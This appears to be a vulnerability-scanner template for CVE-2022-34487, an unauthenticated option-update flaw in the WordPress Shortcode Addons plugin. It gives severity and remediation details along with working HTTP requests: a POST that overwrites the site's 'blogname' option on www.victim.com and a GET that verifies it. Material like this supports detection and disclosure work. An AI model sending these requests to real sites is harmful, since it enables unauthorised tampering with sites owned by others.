| Title | ShortCode Addons - Unauthenticated Options Update |
|---|---|
| Author | Sourabh-Sahu |
| Severity | Critical |
| Impact | Attackers can modify plugin options arbitrarily, potentially leading to site defacement, data tampering, or further exploitation. |
| Remediation | Update to the latest version of Shortcode Addons plugin. |
| CVSS Score | 9.8 |
| EPSS Score | 0.52347 |
| CVE ID | CVE-2022-34487 |
| CWE ID | CWE-264 |
| Tags | cve cve2022 wp wp-plugin wordpress shortcode-addons vkev |
WordPress plugin Shortcode Addons <= 3.0.2 contains an unauthenticated arbitrary option update caused by insufficient access controls in the plugin, letting attackers modify options without authentication.
POST /wp-json/ShortCodeAddonsUltimate/v2/addons_settings HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Connection: close
Content-Length: 91
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
rawdata=%7B%22name%22%3A%22blogname%22%2C%22value%22%3A%2238FAtKyrh02uoydyCZG6lXZvhHi%22%7D
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Version/16.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
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